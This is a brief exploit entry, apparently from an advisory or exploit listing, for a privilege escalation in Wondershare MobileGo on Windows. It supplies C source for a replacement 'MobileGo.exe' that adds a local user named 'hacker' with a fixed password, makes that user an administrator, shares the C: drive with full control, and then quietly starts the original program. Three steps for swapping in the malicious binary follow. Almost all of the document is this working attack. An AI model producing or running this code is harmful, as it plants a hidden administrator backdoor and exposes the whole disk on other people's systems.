#Exploit code(s): 
=================

1) Compile below 'C' code name it as "MobileGo.exe"

#include<windows.h>

int main(void){
 system("net user hacker abc123 /add");
 system("net localgroup Administrators hacker  /add");
 system("net share SHARE_NAME=c:\ /grant:hacker,full");
 WinExec("C:\\Program Files\\Wondershare\\MobileGo\\~MobileGo.exe",0);
return 0;
} 

2) Rename original "MobileGo.exe" to "~MobileGo.exe"
3) Place our malicious "MobileGo.exe" in the MobileGo directory
